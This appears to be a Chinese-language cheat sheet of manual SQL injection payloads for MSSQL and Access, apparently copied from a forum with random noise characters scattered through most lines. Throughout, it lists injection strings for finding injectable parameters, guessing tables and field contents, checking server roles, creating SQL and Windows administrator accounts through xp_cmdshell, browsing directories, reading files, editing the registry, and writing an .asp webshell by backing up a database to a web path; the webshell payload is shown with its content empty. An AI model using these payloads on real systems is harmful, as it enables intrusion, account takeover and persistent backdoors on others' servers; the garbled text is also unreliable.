手工脚本注入 ) G, C3 A; ^* i7 |4 q6 L2 X; }0 p2 O
1.判断是否有注入;and 1=1 ;and 1=2 ; y% ?: ?& V* i8 u9 I0 w
' T& p/ @& R6 k. r3 [% p2.初步判断是否是mssql ;and user>0 8 n: x& s. o( @6 O) x# G5 V
! D9 _! }* g8 I8 j% z; ^& x' i5 q3.注入参数是字符'and [查询条件] and ''='
6 ^- ]6 O6 J$ L/ t$ F
1 ^. {$ a- u* g' r) N6 z: Q" x; k4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6 p' ~% c9 Z& j3 X
& B) I. q! B6 Q" `( f
5.判断数据库系统
; {; M! c# m$ n0 `;and (select count(*) from sysobjects)>0 mssql / T' H: y$ R4 {& C' y# y
;and (select count(*) from msysobjects)>0 access * G4 d) ]$ a4 j0 h+ [$ I/ ?5 D9 J
2 j: |. {: ?3 k1 ^6.猜数据库 ;and (select Count(*) from [数据库名])>0 * m6 `# Z6 A. \3 ~1 @% x1 Y6 @. q
9 a/ y2 K6 R5 y4 X& T
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $ V$ o' d; T' J& B) u
1 z+ y+ t+ u0 o0 c$ x+ T4 b: m
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
/ T+ _/ z8 Z# S5 B3 O5 N; {) N4 Y% a0 r4 h& I# `: j. a o5 C2 ]: m
9.(1)猜字段的ascii值(access) * q; {4 q# `! A; H$ b
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 % R) z) i8 d' O- n$ i, @/ q1 a
7 H% F7 v/ v' h8 I% y(2)猜字段的ascii值(mssql)
5 x0 X+ r) ? `' u;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
$ G7 [+ G6 I9 i1 }( j/ R' |' c( z1 J- l# O; }
10.测试权限结构(mssql)
1 K7 c( v" r) H" N/ l# u* S/ B6 W;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ k, l, t' I% V4 H7 R# n9 K6 m+ W;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
+ V. V4 `7 `9 y;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ; t1 T+ f5 W! S3 \2 G) o
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- - ]1 U! _+ T0 j9 a5 t1 a
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
0 X! d9 K# ]8 w: _' s! d;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8 [1 T- X- s! b
;and 1=(select IS_MEMBER('db_owner'));--
+ h6 i1 H- B4 ~( I; ^( F0 ?" ^% q8 ]5 a; r2 Y- f) h4 p
11.添加mssql和系统的帐户 1 g7 j k+ v; E
;exec master.dbo.sp_addlogin username;-- ( g) D5 m' E2 `0 G. h h
" k6 Q3 _8 \0 _# O( @, _4 ?3 L;exec master.dbo.sp_password null,username,password;--
9 P3 m- ]' ^: A6 y$ v- ^) P! i
/ D3 G* d0 S t2 f3 q;exec master.dbo.sp_addsrvrolemember sysadmin username;-- / e6 P9 G4 w7 w3 ?
$ n& {) g* X; }& T9 f
;exec master.dbo.xp_cmdshell 'net user username password % G% G) J0 P) [$ N. c! d
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
" g% q, d! P1 c5 f! w2 Z1 k: v" I- S& a
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; A* I. M* \/ i4 m$ G6 V: j' M4 S8 W
) |: A: p" e% T# x8 \: x
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ R6 s+ [9 ]' c# C$ h4 A
3 M) z( d! F6 N5 n; B12.(1)遍历目录 0 F+ r5 J. A# T3 _& Y# n7 L" \
/ R% ?$ J- M) o" G* ~9 R;create table dirs(paths varchar(100), id int)
5 M: m: w; b$ }! Y& `;insert dirs exec master.dbo.xp_dirtree 'c:\'
, P5 U' m3 _" s6 r. B;and (select top 1 paths from dirs)>0 + G' a/ L8 d1 D3 `" o
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) & B0 I) ?1 ?6 D/ U6 W
# B) S3 a+ `1 @5 l# ? ~6 k(2)遍历目录 ) ?/ l* w `! y5 c, o' O
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
4 B7 a8 [( k; };insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 . o8 u) G. ?7 B
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 " x, r: ^0 c- Y7 L+ I
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
* X/ A* b, Y( ]) m( _7 W& \;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 U" o% w1 c: F, W6 Q( x
3 U& n# u+ T4 X6 G
13.mssql中的存储过程 # d7 n! l7 i; g* M. p) I
/ c" i- ^) s7 G
xp_regenumvalues 注册表根键, 子键 - Q# O+ b4 C$ c$ K& ? M7 y/ H
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
. M2 u. U5 \/ @. o5 k8 F$ t; R2 }3 w# O
xp_regread 根键,子键,键值名 ; E0 ]8 n/ [: A
;exec xp_regread
7 m ^/ \& D2 B l'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
$ @& P/ A8 H5 O+ d/ b3 t8 e6 V9 s$ r: X4 r
xp_regwrite 根键,子键, 值名, 值类型, 值
) h# Q- o h3 V0 G/ R# I值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
" A; U+ Q& ?, s9 ~" s- R# ];exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ; k; P: i9 x* D( a D! A5 c l
9 D, U8 d/ g& V' Jxp_regdeletevalue 根键,子键,值名
8 c- `* V$ c2 a/ R1 j# v0 D9 f; V% G4 J; g. y8 [5 T! ~
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 1 z- s m, u; q; o( E, Z
! h* f& g; F, y0 w8 Qxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 . {& r6 {5 u. L3 ^# V* J
/ }* i/ ?5 L2 F
14.mssql的backup创建webshell / h! Z. S& j( ]7 Z3 p( }0 Z. |# }
use model
7 b* N& W9 y2 |, Y, xcreate table cmd(str image); 3 J0 f% W9 c! H0 A8 ^
insert into cmd(str) values (''); . }; G+ W+ [: o+ n6 }9 {
backup database model to disk='c:\l.asp';
" {* R4 o( C# F* N. t4 Q# p; G
( P, a$ Z; |. h+ s5 l/ l6 A. A4 [15.mssql内置函数
9 ?1 T& K! q; s$ |; c;and (select @@version)>0 获得Windows的版本号
: s( l) z4 ?! Q+ n$ T7 `' a) [;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' y. n; u: P+ A1 D8 p$ Y5 j; Z;and (select user_name())>0 爆当前系统的连接用户 0 I' o, B% b9 ?. X
;and (select db_name())>0 得到当前连接的数据库
+ D+ k! E2 q; i& W: I3 f, t, f/ B# q- Y7 C
16.简洁的webshell 0 d$ ?6 }5 c! k% d+ x' Z$ ~
5 {1 t6 f9 E5 D( t8 V. N/ Duse model 4 ]! u# u1 u" [4 H5 d% U! _- Z
. t0 ^ L# C4 e# n4 Y7 S& }
create table cmd(str image);
W, q) M2 f5 y) \0 W$ ?8 v' x# a C U. ~- @
insert into cmd(str) values ('');
: t7 s7 K% [( \: ]3 ^$ A1 N' T) }0 R: @" Q7 Q/ Q8 T$ ]3 P
backup database model to disk='g:\wwwtest\l.asp';
+ L9 G9 {! C' P2 ]
: c3 c7 n0 v& N- S5 t |